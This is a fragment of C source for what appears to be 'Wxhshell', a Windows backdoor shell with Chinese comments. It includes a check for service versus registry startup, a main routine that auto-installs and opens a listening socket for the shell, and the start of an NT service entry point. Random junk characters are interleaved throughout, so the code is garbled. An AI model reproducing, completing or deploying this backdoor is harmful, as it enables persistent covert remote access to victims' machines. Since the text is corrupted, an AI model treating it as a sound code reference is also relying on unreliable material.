27 GhE cA;js;x@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KhaYr)&~ if(hProcess==NULL) return 0; o-eKAkh ^_>!B) HMODULE hMod; Q\kub_I{@ char procName[255]; Sm|( unsigned long cbNeeded; m)&znLA @Doyt{|T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @"|i"Hk^ 9E1W|KE CloseHandle(hProcess); IA*KaX2S< x?r1s#88> if(strstr(procName,"services")) return 1; // 以服务启动 rZwB>c TGV return 0; // 注册表启动 S~F` } 7#-y-B]l tRfm+hqRZ // 主模块 .FP$ IWt/1 int StartWxhshell(LPSTR lpCmdLine) 5/I_w0 { 7#2j>G{?]v SOCKET wsl; >nnY:7m BOOL val=TRUE; KMjg;!y int port=0; RKTb'3H struct sockaddr_in door; smU4jh9S $v27]"] if(wscfg.ws_autoins) Install(); 0 bSA_ l]#!+@ port=atoi(lpCmdLine); c^.l2Q! =-jD~rN4;P if(port<=0) port=wscfg.ws_port; 30F!kP*E Y=B3q8l5 WSADATA data; fA^Em)cs2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8+'C_t/0i \m/xV/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4$"DbaC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uV]ULm#,i door.sin_family = AF_INET; ",B'k door.sin_addr.s_addr = inet_addr("127.0.0.1"); [CN$ScK, door.sin_port = htons(port); $3P`DJo eD;6okdP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ PWj(}); closesocket(wsl); ]/dVRkZeAE return 1; TKI$hc3|L } BWq/TG=> d?L\pN& if(listen(wsl,2) == INVALID_SOCKET) { H;KDZO9W closesocket(wsl); e~\QE0Oe : return 1; mLwY]2T" } $H2GbZ-I Wxhshell(wsl); M}F~_S0h WSACleanup(); }ot"Sx\. d@kc[WLD^ return 0; wNQqfqZ G=d(*+&
B } 5nLDj:C~
,=%nw]: // 以NT服务方式启动 UpUp8%fCU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iI?{"}BZ { e<=;i" |
DWORD status = 0; :nGMtF DWORD specificError = 0xfffffff; \ e:d)^cbh ;j}yB serviceStatus.dwServiceType = SERVICE_WIN32; a/:XXy | serviceStatus.dwCurrentState = SERVICE_START_PENDING; x8N|($1 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J !#Zi#8sF serviceStatus.dwWin32ExitCode = 0; }E&NPp> serviceStatus.dwServiceSpecificExitCode = 0; F9Z@x) serviceStatus.dwCheckPoint = 0; \M+L3*W serviceStatus.dwWaitHint = 0; xHkxc}h :pC;`iQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Cg{_z.~c if (hServiceStatusHandle==0) return; lF4u{B9DM
$aP(|!g status = GetLastError(); .YcN S% if (status!=NO_ERROR) vzR=>0# { \L]|-f(4 serviceStatus.dwCurrentState = SERVICE_STOPPED; <$Yi]ty serviceStatus.dwCheckPoint = 0; Zz"}Cz:bX serviceStatus.dwWaitHint = 0; H7&xLYQ2 serviceStatus.dwWin32ExitCode = status; >)4YP*qIPb serviceStatus.dwServiceSpecificExitCode = specificError; 1(gfdx9|b SetServiceStatus(hServiceStatusHandle, &serviceStatus); mN}7H:, return; 1Ix3i9 } W)=%mdxW0 Fvl`2W94; serviceStatus.dwCurrentState = SERVICE_RUNNING; h%}(h2W serviceStatus.dwCheckPoint = 0; <[Oo*:A!7 serviceStatus.dwWaitHint = 0; < |